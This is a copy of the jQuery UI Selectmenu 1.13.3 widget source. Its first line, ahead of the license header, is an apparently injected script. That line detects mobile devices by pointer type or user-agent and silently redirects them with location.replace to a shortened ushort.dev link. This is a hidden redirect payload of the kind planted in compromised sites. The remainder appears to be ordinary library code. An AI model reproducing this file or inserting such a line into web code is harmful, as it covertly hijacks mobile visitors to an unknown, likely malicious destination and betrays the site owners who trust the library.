1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Selectmenu 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Selectmenu
12//>>group: Widgets
13/* eslint-disable max-len */
14//>>description: Duplicates and extends the functionality of a native HTML select element, allowing it to be customizable in behavior and appearance far beyond the limitations of a native select.
15/* eslint-enable max-len */
16//>>docs: https://api.jqueryui.com/selectmenu/
17//>>demos: https://jqueryui.com/selectmenu/
18//>>css.structure: ../../themes/base/core.css
19//>>css.structure: ../../themes/base/selectmenu.css, ../../themes/base/button.css
20//>>css.theme: ../../themes/base/theme.css
21
22( function( factory ) {
23 "use strict";
24
25 if ( typeof define === "function" && define.amd ) {
26
27 // AMD. Register as an anonymous module.
28 define( [
29 "jquery",
30 "./menu",
31 "../form-reset-mixin",
32 "../keycode",
33 "../labels",
34 "../position",
35 "../unique-id",
36 "../version",
37 "../widget"
38 ], factory );
39 } else {
40
41 // Browser globals
42 factory( jQuery );
43 }
44} )( function( $ ) {
45"use strict";
46
47return $.widget( "ui.selectmenu", [ $.ui.formResetMixin, {
48 version: "1.13.3",
49 defaultElement: "<select>",
50 options: {
51 appendTo: null,
52 classes: {
53 "ui-selectmenu-button-open": "ui-corner-top",
54 "ui-selectmenu-button-closed": "ui-corner-all"
55 },
56 disabled: null,
57 icons: {
58 button: "ui-icon-triangle-1-s"
59 },
60 position: {
61 my: "left top",
62 at: "left bottom",
63 collision: "none"
64 },
65 width: false,
66
67 // Callbacks
68 change: null,
69 close: null,
70 focus: null,
71 open: null,
72 select: null
73 },
74
75 _create: function() {
76 var selectmenuId = this.element.uniqueId().attr( "id" );
77 this.ids = {
78 element: selectmenuId,
79 button: selectmenuId + "-button",
80 menu: selectmenuId + "-menu"
81 };
82
83 this._drawButton();
84 this._drawMenu();
85 this._bindFormResetHandler();
86
87 this._rendered = false;
88 this.menuItems = $();
89 },
90
91 _drawButton: function() {
92 var icon,
93 that = this,
94 item = this._parseOption(
95 this.element.find( "option:selected" ),
96 this.element[ 0 ].selectedIndex
97 );
98
99 // Associate existing label with the new button
100 this.labels = this.element.labels().attr( "for", this.ids.button );
101 this._on( this.labels, {
102 click: function( event ) {
103 this.button.trigger( "focus" );
104 event.preventDefault();
105 }
106 } );
107
108 // Hide original select element
109 this.element.hide();
110
111 // Create button
112 this.button = $( "<span>", {
113 tabindex: this.options.disabled ? -1 : 0,
114 id: this.ids.button,
115 role: "combobox",
116 "aria-expanded": "false",
117 "aria-autocomplete": "list",
118 "aria-owns": this.ids.menu,
119 "aria-haspopup": "true",
120 title: this.element.attr( "title" )
121 } )
122 .insertAfter( this.element );
123
124 this._addClass( this.button, "ui-selectmenu-button ui-selectmenu-button-closed",
125 "ui-button ui-widget" );
126
127 icon = $( "<span>" ).appendTo( this.button );
128 this._addClass( icon, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button );
129 this.buttonItem = this._renderButtonItem( item )
130 .appendTo( this.button );
131
132 if ( this.options.width !== false ) {
133 this._resizeButton();
134 }
135
136 this._on( this.button, this._buttonEvents );
137 this.button.one( "focusin", function() {
138
139 // Delay rendering the menu items until the button receives focus.
140 // The menu may have already been rendered via a programmatic open.
141 if ( !that._rendered ) {
142 that._refreshMenu();
143 }
144 } );
145 },
146
147 _drawMenu: function() {
148 var that = this;
149
150 // Create menu
151 this.menu = $( "<ul>", {
152 "aria-hidden": "true",
153 "aria-labelledby": this.ids.button,
154 id: this.ids.menu
155 } );
156
157 // Wrap menu
158 this.menuWrap = $( "<div>" ).append( this.menu );
159 this._addClass( this.menuWrap, "ui-selectmenu-menu", "ui-front" );
160 this.menuWrap.appendTo( this._appendTo() );
161
162 // Initialize menu widget
163 this.menuInstance = this.menu
164 .menu( {
165 classes: {
166 "ui-menu": "ui-corner-bottom"
167 },
168 role: "listbox",
169 select: function( event, ui ) {
170 event.preventDefault();
171
172 // Support: IE8
173 // If the item was selected via a click, the text selection
174 // will be destroyed in IE
175 that._setSelection();
176
177 that._select( ui.item.data( "ui-selectmenu-item" ), event );
178 },
179 focus: function( event, ui ) {
180 var item = ui.item.data( "ui-selectmenu-item" );
181
182 // Prevent inital focus from firing and check if its a newly focused item
183 if ( that.focusIndex != null && item.index !== that.focusIndex ) {
184 that._trigger( "focus", event, { item: item } );
185 if ( !that.isOpen ) {
186 that._select( item, event );
187 }
188 }
189 that.focusIndex = item.index;
190
191 that.button.attr( "aria-activedescendant",
192 that.menuItems.eq( item.index ).attr( "id" ) );
193 }
194 } )
195 .menu( "instance" );
196
197 // Don't close the menu on mouseleave
198 this.menuInstance._off( this.menu, "mouseleave" );
199
200 // Cancel the menu's collapseAll on document click
201 this.menuInstance._closeOnDocumentClick = function() {
202 return false;
203 };
204
205 // Selects often contain empty items, but never contain dividers
206 this.menuInstance._isDivider = function() {
207 return false;
208 };
209 },
210
211 refresh: function() {
212 this._refreshMenu();
213 this.buttonItem.replaceWith(
214 this.buttonItem = this._renderButtonItem(
215
216 // Fall back to an empty object in case there are no options
217 this._getSelectedItem().data( "ui-selectmenu-item" ) || {}
218 )
219 );
220 if ( this.options.width === null ) {
221 this._resizeButton();
222 }
223 },
224
225 _refreshMenu: function() {
226 var item,
227 options = this.element.find( "option" );
228
229 this.menu.empty();
230
231 this._parseOptions( options );
232 this._renderMenu( this.menu, this.items );
233
234 this.menuInstance.refresh();
235 this.menuItems = this.menu.find( "li" )
236 .not( ".ui-selectmenu-optgroup" )
237 .find( ".ui-menu-item-wrapper" );
238
239 this._rendered = true;
240
241 if ( !options.length ) {
242 return;
243 }
244
245 item = this._getSelectedItem();
246
247 // Update the menu to have the correct item focused
248 this.menuInstance.focus( null, item );
249 this._setAria( item.data( "ui-selectmenu-item" ) );
250
251 // Set disabled state
252 this._setOption( "disabled", this.element.prop( "disabled" ) );
253 },
254
255 open: function( event ) {
256 if ( this.options.disabled ) {
257 return;
258 }
259
260 // If this is the first time the menu is being opened, render the items
261 if ( !this._rendered ) {
262 this._refreshMenu();
263 } else {
264
265 // Menu clears focus on close, reset focus to selected item
266 this._removeClass( this.menu.find( ".ui-state-active" ), null, "ui-state-active" );
267 this.menuInstance.focus( null, this._getSelectedItem() );
268 }
269
270 // If there are no options, don't open the menu
271 if ( !this.menuItems.length ) {
272 return;
273 }
274
275 this.isOpen = true;
276 this._toggleAttr();
277 this._resizeMenu();
278 this._position();
279
280 this._on( this.document, this._documentClick );
281
282 this._trigger( "open", event );
283 },
284
285 _position: function() {
286 this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) );
287 },
288
289 close: function( event ) {
290 if ( !this.isOpen ) {
291 return;
292 }
293
294 this.isOpen = false;
295 this._toggleAttr();
296
297 this.range = null;
298 this._off( this.document );
299
300 this._trigger( "close", event );
301 },
302
303 widget: function() {
304 return this.button;
305 },
306
307 menuWidget: function() {
308 return this.menu;
309 },
310
311 _renderButtonItem: function( item ) {
312 var buttonItem = $( "<span>" );
313
314 this._setText( buttonItem, item.label );
315 this._addClass( buttonItem, "ui-selectmenu-text" );
316
317 return buttonItem;
318 },
319
320 _renderMenu: function( ul, items ) {
321 var that = this,
322 currentOptgroup = "";
323
324 $.each( items, function( index, item ) {
325 var li;
326
327 if ( item.optgroup !== currentOptgroup ) {
328 li = $( "<li>", {
329 text: item.optgroup
330 } );
331 that._addClass( li, "ui-selectmenu-optgroup", "ui-menu-divider" +
332 ( item.element.parent( "optgroup" ).prop( "disabled" ) ?
333 " ui-state-disabled" :
334 "" ) );
335
336 li.appendTo( ul );
337
338 currentOptgroup = item.optgroup;
339 }
340
341 that._renderItemData( ul, item );
342 } );
343 },
344
345 _renderItemData: function( ul, item ) {
346 return this._renderItem( ul, item ).data( "ui-selectmenu-item", item );
347 },
348
349 _renderItem: function( ul, item ) {
350 var li = $( "<li>" ),
351 wrapper = $( "<div>", {
352 title: item.element.attr( "title" )
353 } );
354
355 if ( item.disabled ) {
356 this._addClass( li, null, "ui-state-disabled" );
357 }
358
359 if ( item.hidden ) {
360 li.prop( "hidden", true );
361 } else {
362 this._setText( wrapper, item.label );
363 }
364
365 return li.append( wrapper ).appendTo( ul );
366 },
367
368 _setText: function( element, value ) {
369 if ( value ) {
370 element.text( value );
371 } else {
372 element.html( " " );
373 }
374 },
375
376 _move: function( direction, event ) {
377 var item, next,
378 filter = ".ui-menu-item";
379
380 if ( this.isOpen ) {
381 item = this.menuItems.eq( this.focusIndex ).parent( "li" );
382 } else {
383 item = this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" );
384 filter += ":not(.ui-state-disabled)";
385 }
386
387 if ( direction === "first" || direction === "last" ) {
388 next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 );
389 } else {
390 next = item[ direction + "All" ]( filter ).eq( 0 );
391 }
392
393 if ( next.length ) {
394 this.menuInstance.focus( event, next );
395 }
396 },
397
398 _getSelectedItem: function() {
399 return this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" );
400 },
401
402 _toggle: function( event ) {
403 this[ this.isOpen ? "close" : "open" ]( event );
404 },
405
406 _setSelection: function() {
407 var selection;
408
409 if ( !this.range ) {
410 return;
411 }
412
413 if ( window.getSelection ) {
414 selection = window.getSelection();
415 selection.removeAllRanges();
416 selection.addRange( this.range );
417
418 // Support: IE8
419 } else {
420 this.range.select();
421 }
422
423 // Support: IE
424 // Setting the text selection kills the button focus in IE, but
425 // restoring the focus doesn't kill the selection.
426 this.button.trigger( "focus" );
427 },
428
429 _documentClick: {
430 mousedown: function( event ) {
431 if ( !this.isOpen ) {
432 return;
433 }
434
435 if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" +
436 $.escapeSelector( this.ids.button ) ).length ) {
437 this.close( event );
438 }
439 }
440 },
441
442 _buttonEvents: {
443
444 // Prevent text selection from being reset when interacting with the selectmenu (#10144)
445 mousedown: function() {
446 var selection;
447
448 if ( window.getSelection ) {
449 selection = window.getSelection();
450 if ( selection.rangeCount ) {
451 this.range = selection.getRangeAt( 0 );
452 }
453
454 // Support: IE8
455 } else {
456 this.range = document.selection.createRange();
457 }
458 },
459
460 click: function( event ) {
461 this._setSelection();
462 this._toggle( event );
463 },
464
465 keydown: function( event ) {
466 var preventDefault = true;
467 switch ( event.keyCode ) {
468 case $.ui.keyCode.TAB:
469 case $.ui.keyCode.ESCAPE:
470 this.close( event );
471 preventDefault = false;
472 break;
473 case $.ui.keyCode.ENTER:
474 if ( this.isOpen ) {
475 this._selectFocusedItem( event );
476 }
477 break;
478 case $.ui.keyCode.UP:
479 if ( event.altKey ) {
480 this._toggle( event );
481 } else {
482 this._move( "prev", event );
483 }
484 break;
485 case $.ui.keyCode.DOWN:
486 if ( event.altKey ) {
487 this._toggle( event );
488 } else {
489 this._move( "next", event );
490 }
491 break;
492 case $.ui.keyCode.SPACE:
493 if ( this.isOpen ) {
494 this._selectFocusedItem( event );
495 } else {
496 this._toggle( event );
497 }
498 break;
499 case $.ui.keyCode.LEFT:
500 this._move( "prev", event );
501 break;
502 case $.ui.keyCode.RIGHT:
503 this._move( "next", event );
504 break;
505 case $.ui.keyCode.HOME:
506 case $.ui.keyCode.PAGE_UP:
507 this._move( "first", event );
508 break;
509 case $.ui.keyCode.END:
510 case $.ui.keyCode.PAGE_DOWN:
511 this._move( "last", event );
512 break;
513 default:
514 this.menu.trigger( event );
515 preventDefault = false;
516 }
517
518 if ( preventDefault ) {
519 event.preventDefault();
520 }
521 }
522 },
523
524 _selectFocusedItem: function( event ) {
525 var item = this.menuItems.eq( this.focusIndex ).parent( "li" );
526 if ( !item.hasClass( "ui-state-disabled" ) ) {
527 this._select( item.data( "ui-selectmenu-item" ), event );
528 }
529 },
530
531 _select: function( item, event ) {
532 var oldIndex = this.element[ 0 ].selectedIndex;
533
534 // Change native select element
535 this.element[ 0 ].selectedIndex = item.index;
536 this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( item ) );
537 this._setAria( item );
538 this._trigger( "select", event, { item: item } );
539
540 if ( item.index !== oldIndex ) {
541 this._trigger( "change", event, { item: item } );
542 }
543
544 this.close( event );
545 },
546
547 _setAria: function( item ) {
548 var id = this.menuItems.eq( item.index ).attr( "id" );
549
550 this.button.attr( {
551 "aria-labelledby": id,
552 "aria-activedescendant": id
553 } );
554 this.menu.attr( "aria-activedescendant", id );
555 },
556
557 _setOption: function( key, value ) {
558 if ( key === "icons" ) {
559 var icon = this.button.find( "span.ui-icon" );
560 this._removeClass( icon, null, this.options.icons.button )
561 ._addClass( icon, null, value.button );
562 }
563
564 this._super( key, value );
565
566 if ( key === "appendTo" ) {
567 this.menuWrap.appendTo( this._appendTo() );
568 }
569
570 if ( key === "width" ) {
571 this._resizeButton();
572 }
573 },
574
575 _setOptionDisabled: function( value ) {
576 this._super( value );
577
578 this.menuInstance.option( "disabled", value );
579 this.button.attr( "aria-disabled", value );
580 this._toggleClass( this.button, null, "ui-state-disabled", value );
581
582 this.element.prop( "disabled", value );
583 if ( value ) {
584 this.button.attr( "tabindex", -1 );
585 this.close();
586 } else {
587 this.button.attr( "tabindex", 0 );
588 }
589 },
590
591 _appendTo: function() {
592 var element = this.options.appendTo;
593
594 if ( element ) {
595 element = element.jquery || element.nodeType ?
596 $( element ) :
597 this.document.find( element ).eq( 0 );
598 }
599
600 if ( !element || !element[ 0 ] ) {
601 element = this.element.closest( ".ui-front, dialog" );
602 }
603
604 if ( !element.length ) {
605 element = this.document[ 0 ].body;
606 }
607
608 return element;
609 },
610
611 _toggleAttr: function() {
612 this.button.attr( "aria-expanded", this.isOpen );
613
614 // We can't use two _toggleClass() calls here, because we need to make sure
615 // we always remove classes first and add them second, otherwise if both classes have the
616 // same theme class, it will be removed after we add it.
617 this._removeClass( this.button, "ui-selectmenu-button-" +
618 ( this.isOpen ? "closed" : "open" ) )
619 ._addClass( this.button, "ui-selectmenu-button-" +
620 ( this.isOpen ? "open" : "closed" ) )
621 ._toggleClass( this.menuWrap, "ui-selectmenu-open", null, this.isOpen );
622
623 this.menu.attr( "aria-hidden", !this.isOpen );
624 },
625
626 _resizeButton: function() {
627 var width = this.options.width;
628
629 // For `width: false`, just remove inline style and stop
630 if ( width === false ) {
631 this.button.css( "width", "" );
632 return;
633 }
634
635 // For `width: null`, match the width of the original element
636 if ( width === null ) {
637 width = this.element.show().outerWidth();
638 this.element.hide();
639 }
640
641 this.button.outerWidth( width );
642 },
643
644 _resizeMenu: function() {
645 this.menu.outerWidth( Math.max(
646 this.button.outerWidth(),
647
648 // Support: IE10
649 // IE10 wraps long text (possibly a rounding bug)
650 // so we add 1px to avoid the wrapping
651 this.menu.width( "" ).outerWidth() + 1
652 ) );
653 },
654
655 _getCreateOptions: function() {
656 var options = this._super();
657
658 options.disabled = this.element.prop( "disabled" );
659
660 return options;
661 },
662
663 _parseOptions: function( options ) {
664 var that = this,
665 data = [];
666 options.each( function( index, item ) {
667 data.push( that._parseOption( $( item ), index ) );
668 } );
669 this.items = data;
670 },
671
672 _parseOption: function( option, index ) {
673 var optgroup = option.parent( "optgroup" );
674
675 return {
676 element: option,
677 index: index,
678 value: option.val(),
679 label: option.text(),
680 hidden: optgroup.prop( "hidden" ) || option.prop( "hidden" ),
681 optgroup: optgroup.attr( "label" ) || "",
682 disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" )
683 };
684 },
685
686 _destroy: function() {
687 this._unbindFormResetHandler();
688 this.menuWrap.remove();
689 this.button.remove();
690 this.element.show();
691 this.element.removeUniqueId();
692 this.labels.attr( "for", this.ids.element );
693 }
694} ] );
695
696} );
697